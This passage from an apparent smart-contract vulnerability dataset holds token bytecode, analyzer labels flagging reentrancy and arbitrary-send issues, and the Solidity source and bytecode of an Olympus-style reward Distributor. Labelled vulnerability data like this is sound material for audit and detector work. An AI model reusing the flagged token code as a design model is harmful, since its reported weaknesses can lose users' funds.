659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561098257600080fd5b505afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611ed8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3a9190611ed8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a8257600080fd5b505af1158015610a96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aba9190611ed8565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b075760405162461bcd60e51b81526004016107c890612119565b601355565b6017546001600160a01b0316336001600160a01b031614610b2c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610b905760405162461bcd60e51b81526004016107c890612119565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610bce57600080fd5b476108a981611788565b6001600160a01b03811660009081526002602052604081205461072f906117c2565b6000546001600160a01b03163314610c245760405162461bcd60e51b81526004016107c890612119565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c985760405162461bcd60e51b81526004016107c890612119565b601b55565b6000546001600160a01b03163314610cc75760405162461bcd60e51b81526004016107c890612119565b601a54600160a01b900460ff1615610cde57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610d1757600080fd5b610d2030610bd8565b8111158015610d2f5750600081115b610d6a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107c8565b6108a981611846565b6000546001600160a01b03163314610d9d5760405162461bcd60e51b81526004016107c890612119565b600b91909155600c55565b6000546001600160a01b03163314610dd25760405162461bcd60e51b81526004016107c890612119565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072b3384846110ab565b6000546001600160a01b03163314610e275760405162461bcd60e51b81526004016107c890612119565b600e91909155601055565b6000546001600160a01b03163314610e5c5760405162461bcd60e51b81526004016107c890612119565b610e6881610e10612220565b60185550565b6000546001600160a01b03163314610e985760405162461bcd60e51b81526004016107c890612119565b601c55565b6000546001600160a01b03163314610ec75760405162461bcd60e51b81526004016107c890612119565b6001600160a01b038116610f2c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fe95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c8565b6001600160a01b03821661104a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c8565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c8565b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c8565b600081116111d35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c8565b6001600160a01b03821660009081526009602052604090205460ff161561120c5760405162461bcd60e51b81526004016107c89061214e565b6001600160a01b03831660009081526009602052604090205460ff16156112455760405162461bcd60e51b81526004016107c89061214e565b3360009081526009602052604090205460ff16156112755760405162461bcd60e51b81526004016107c89061214e565b6000546001600160a01b038481169116148015906112a157506000546001600160a01b03838116911614155b1561159657601a54600160a01b900460ff166112ff5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107c8565b601a546001600160a01b03838116911614801561132a57506019546001600160a01b03848116911614155b156113dc576001600160a01b038216301480159061135157506001600160a01b0383163014155b801561136b57506017546001600160a01b03838116911614155b801561138557506017546001600160a01b03848116911614155b156113dc57601b548111156113dc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107c8565b601a546001600160a01b0383811691161480159061140857506017546001600160a01b03838116911614155b801561141d57506001600160a01b0382163014155b801561143457506001600160a01b03821661dead14155b1561149057601c548161144684610bd8565b61145091906121e6565b1061145a57600080fd5b601a54600160b81b900460ff161561149057600a5461147b9061012c6121e6565b421161149057601e5481111561149057600080fd5b600061149b30610bd8565b601d5490915081118080156114ba5750601a54600160a81b900460ff16155b80156114d45750601a546001600160a01b03868116911614155b80156114e95750601a54600160b01b900460ff165b801561150e57506001600160a01b03851660009081526006602052604090205460ff16155b801561153357506001600160a01b03841660009081526006602052604090205460ff16155b15611593576013546000901561156e57611563606461155d601354866119cf90919063ffffffff16565b90611a4e565b905061156e81611a90565b61158061157b828561223f565b611846565b4780156115905761159047611788565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806115d857506001600160a01b03831660009081526006602052604090205460ff165b8061160a5750601a546001600160a01b0385811691161480159061160a5750601a546001600160a01b03848116911614155b156116175750600061173c565b601a546001600160a01b03858116911614801561164257506019546001600160a01b03848116911614155b1561169d576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561169d576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156116c857506019546001600160a01b03858116911614155b1561173c576001600160a01b0384166000908152600460205260409020541580159061171957506018546001600160a01b0385166000908152600460205260409020544291611716916121e6565b10155b1561172f57600b54601155600c5460125561173c565b600f546011556010546012555b61174884848484611a9d565b50505050565b600081848411156117725760405162461bcd60e51b81526004016107c891906120c4565b50600061177f848661223f565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610839573d6000803e3d6000fd5b60006007548211156118295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107c8565b6000611833611ad1565b905061183f8382611a4e565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061188e5761188e612287565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156118e257600080fd5b505afa1580156118f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191a9190611ed8565b8160018151811061192d5761192d612287565b6001600160a01b0392831660209182029290920101526019546119539130911684610f87565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac9479061198c908590600090869030904290600401612175565b600060405180830381600087803b1580156119a657600080fd5b505af11580156119ba573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826119de5750600061072f565b60006119ea8385612220565b9050826119f785836121fe565b1461183f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c8565b600061183f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611af4565b6108a93061dead836110ab565b80611aaa57611aaa611b22565b611ab5848484611b67565b8061174857611748601454601155601554601255601654601355565b6000806000611ade611c5e565b9092509050611aed8282611a4e565b9250505090565b60008183611b155760405162461bcd60e51b81526004016107c891906120c4565b50600061177f84866121fe565b601154158015611b325750601254155b8015611b3e5750601354155b15611b4557565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611b7987611ca0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611bab9087611cfd565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bda9086611d3f565b6001600160a01b038916600090815260026020526040902055611bfc81611d9e565b611c068483611de8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c4b91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611c7a8282611a4e565b821015611c975750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611cbd8a601154601254611e0c565b9250925092506000611ccd611ad1565b90506000806000611ce08e878787611e5b565b919e509c509a509598509396509194505050505091939550919395565b600061183f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061174e565b600080611d4c83856121e6565b90508381101561183f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c8565b6000611da8611ad1565b90506000611db683836119cf565b30600090815260026020526040902054909150611dd39082611d3f565b30600090815260026020526040902055505050565b600754611df59083611cfd565b600755600854611e059082611d3f565b6008555050565b6000808080611e20606461155d89896119cf565b90506000611e33606461155d8a896119cf565b90506000611e4b82611e458b86611cfd565b90611cfd565b9992985090965090945050505050565b6000808080611e6a88866119cf565b90506000611e7888876119cf565b90506000611e8688886119cf565b90506000611e9882611e458686611cfd565b939b939a50919850919650505050505050565b8035611eb6816122b3565b919050565b600060208284031215611ecd57600080fd5b813561183f816122b3565b600060208284031215611eea57600080fd5b815161183f816122b3565b60008060408385031215611f0857600080fd5b8235611f13816122b3565b91506020830135611f23816122b3565b809150509250929050565b600080600060608486031215611f4357600080fd5b8335611f4e816122b3565b92506020840135611f5e816122b3565b929592945050506040919091013590565b60008060408385031215611f8257600080fd5b8235611f8d816122b3565b946020939093013593505050565b60006020808385031215611fae57600080fd5b823567ffffffffffffffff80821115611fc657600080fd5b818501915085601f830112611fda57600080fd5b813581811115611fec57611fec61229d565b8060051b604051601f19603f830116810181811085821117156120115761201161229d565b604052828152858101935084860182860187018a101561203057600080fd5b600095505b8386101561205a5761204681611eab565b855260019590950194938601938601612035565b5098975050505050505050565b60006020828403121561207957600080fd5b8135801515811461183f57600080fd5b60006020828403121561209b57600080fd5b5035919050565b600080604083850312156120b557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156120f1578581018301518582016040015282016120d5565b81811115612103576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121c55784516001600160a01b0316835293830193918301916001016121a0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156121f9576121f9612271565b500190565b60008261221b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561223a5761223a612271565b500290565b60008282101561225157612251612271565b500390565b600060001982141561226a5761226a612271565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108a957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095e2394285af94d7485b5b608ab6009a7134b87e8b62d4e286e245fb49ebced464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,148
0x9b55666b7e068a67576d72824f3ac1563ef5fd3a
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy( address newPolicy_ ) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred( address(0), _policy ); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require( _policy == msg.sender, "Ownable: caller is not the owner" ); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred( _policy, address(0) ); _policy = address(0); } function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() { require( newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require( msg.sender == _newPolicy ); emit OwnershipTransferred( _policy, _newPolicy ); _policy = _newPolicy; } } interface ITreasury { function mintRewards( address _recipient, uint _amount ) external; } contract Distributor is Policy { using SafeMath for uint; using SafeMath for uint32; using SafeERC20 for IERC20; /* ====== VARIABLES ====== */ address public immutable OHM; address public immutable treasury; uint32 public immutable epochLength; uint32 public nextEpochTime; mapping( uint => Adjust ) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } /* ====== CONSTRUCTOR ====== */ constructor( address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime ) { require( _treasury != address(0) ); treasury = _treasury; require( _ohm != address(0) ); OHM = _ohm; epochLength = _epochLength; nextEpochTime = _nextEpochTime; } /* ====== PUBLIC FUNCTIONS ====== */ /** @notice send epoch reward to staking contract */ function distribute() external returns ( bool ) { if ( nextEpochTime <= uint32(block.timestamp) ) { nextEpochTime = nextEpochTime.add32( epochLength ); // set next epoch time // distribute rewards to each recipient for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].rate > 0 ) { ITreasury( treasury ).mintRewards( // mint and send from treasury info[ i ].recipient, nextRewardAt( info[ i ].rate ) ); adjust( i ); // check for adjustment } } return true; } else { return false; } } /* ====== INTERNAL FUNCTIONS ====== */ /** @notice increment reward rate for collector */ function adjust( uint _index ) internal { Adjust memory adjustment = adjustments[ _index ]; if ( adjustment.rate != 0 ) { if ( adjustment.add ) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate if ( info[ _index ].rate >= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate if ( info[ _index ].rate <= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt( uint _rate ) public view returns ( uint ) { return IERC20( OHM ).totalSupply().mul( _rate ).div( 1000000 ); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor( address _recipient ) public view returns ( uint ) { uint reward; for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].recipient == _recipient ) { reward = nextRewardAt( info[ i ].rate ); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() { require( _recipient != address(0) ); info.push( Info({ recipient: _recipient, rate: _rewardRate })); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient( uint _index, address _recipient ) external onlyPolicy() { require( _recipient == info[ _index ].recipient ); info[ _index ].recipient = address(0); info[ _index ].rate = 0; } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() { adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a15ad07711610097578063c9fa8b2a11610066578063c9fa8b2a1461027e578063e4fc6b6d1461029b578063f7982243146102b7578063fe3fbbad146102e357610100565b8063a15ad0771461020b578063a4b2398014610231578063a6c41fec14610239578063bc3b2b121461024157610100565b806357d775f8116100d357806357d775f8146101c05780635beede08146101c85780635db854b0146101d257806361d027b31461020357610100565b80630505c8c9146101055780631da56eb3146101295780632e3405991461014a57806336d33f4414610188575b600080fd5b61010d61030f565b604080516001600160a01b039092168252519081900360200190f35b61013161031f565b6040805163ffffffff9092168252519081900360200190f35b6101676004803603602081101561016057600080fd5b5035610332565b604080519283526001600160a01b0390911660208301528051918290030190f35b6101ae6004803603602081101561019e57600080fd5b50356001600160a01b0316610369565b60408051918252519081900360200190f35b6101316103ec565b6101d0610410565b005b6101d0600480360360808110156101e857600080fd5b50803590602081013515159060408101359060600135610488565b61010d61051a565b6101d06004803603602081101561022157600080fd5b50356001600160a01b031661053e565b6101d06105f2565b61010d610689565b61025e6004803603602081101561025757600080fd5b50356106ad565b604080519315158452602084019290925282820152519081900360600190f35b6101ae6004803603602081101561029457600080fd5b50356106d3565b6102a3610777565b604080519115158252519081900360200190f35b6101d0600480360360408110156102cd57600080fd5b506001600160a01b038135169060200135610918565b6101d0600480360360408110156102f957600080fd5b50803590602001356001600160a01b0316610a0d565b6000546001600160a01b03165b90565b600154600160a01b900463ffffffff1681565b6003818154811061034257600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b031682565b60008060005b6003548110156103e557836001600160a01b03166003828154811061039057fe5b60009182526020909120600160029092020101546001600160a01b031614156103dd576103da600382815481106103c357fe5b9060005260206000209060020201600001546106d3565b91505b60010161036f565b5092915050565b7f000000000000000000000000000000000000000000000000000000000000708081565b6001546001600160a01b0316331461042757600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031633146104d5576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b6040805160608101825293151584526020808501938452848201928352600095865260029081905294209251835460ff19169015151783559051600183015551910155565b7f00000000000000000000000032f69d290d57c8ccb1b660d7bead2f3b7705e84581565b6000546001600160a01b0316331461058b576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b6001600160a01b0381166105d05760405162461bcd60e51b8152600401808060200182810382526026815260200180610f1b6026913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461063f576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f0000000000000000000000006330e5e49022d0b424a612bfb539f99a24f1c41d81565b600260208190526000918252604090912080546001820154919092015460ff9092169183565b6000610771620f424061076b847f0000000000000000000000006330e5e49022d0b424a612bfb539f99a24f1c41d6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561073957600080fd5b505afa15801561074d573d6000803e3d6000fd5b505050506040513d602081101561076357600080fd5b505190610afa565b90610b5a565b92915050565b60015460009063ffffffff428116600160a01b9092041611610910576001546107d29063ffffffff600160a01b9091048116907f000000000000000000000000000000000000000000000000000000000000708090610b9c16565b600160146101000a81548163ffffffff021916908363ffffffff16021790555060005b6003548110156109065760006003828154811061080e57fe5b90600052602060002090600202016000015411156108fe577f00000000000000000000000032f69d290d57c8ccb1b660d7bead2f3b7705e8456001600160a01b0316636a20de926003838154811061086257fe5b906000526020600020906002020160010160009054906101000a90046001600160a01b0316610897600385815481106103c357fe5b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506108fe81610bff565b6001016107f5565b506001905061031c565b50600061031c565b6000546001600160a01b03163314610965576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b6001600160a01b03821661097857600080fd5b604080518082019091529081526001600160a01b03918216602082019081526003805460018101825560009190915291517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b600290930292830155517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c90910180546001600160a01b03191691909216179055565b6000546001600160a01b03163314610a5a576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b60038281548110610a6757fe5b60009182526020909120600160029092020101546001600160a01b03828116911614610a9257600080fd5b600060038381548110610aa157fe5b906000526020600020906002020160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060038381548110610ae557fe5b60009182526020909120600290910201555050565b600082610b0957506000610771565b82820282848281610b1657fe5b0414610b535760405162461bcd60e51b8152600401808060200182810382526021815260200180610f416021913960400191505060405180910390fd5b9392505050565b6000610b5383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d64565b600082820163ffffffff8085169082161015610b53576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610c07610ef7565b506000818152600260208181526040928390208351606081018552815460ff16151581526001820154928101839052920154928201929092529015610d6057805115610cd957610c79816020015160038481548110610c6257fe5b600091825260209091206002909102015490610e06565b60038381548110610c8657fe5b600091825260209091206002909102015560408101516003805484908110610caa57fe5b90600052602060002090600202016000015410610cd4576000828152600260205260408120600101555b610d60565b610d05816020015160038481548110610cee57fe5b600091825260209091206002909102015490610e60565b60038381548110610d1257fe5b600091825260209091206002909102015560408101516003805484908110610d3657fe5b90600052602060002090600202016000015411610d60576000828152600260205260408120600101555b5050565b60008183610df05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610db5578181015183820152602001610d9d565b50505050905090810190601f168015610de25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610dfc57fe5b0495945050505050565b600082820183811015610b53576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610b5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610eef5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610db5578181015183820152602001610d9d565b505050900390565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122071482b50f1072d3504a82fc122e0dbd19848bdfe86d3664ca9cc0d31d3d8a45164736f6c63430007050033
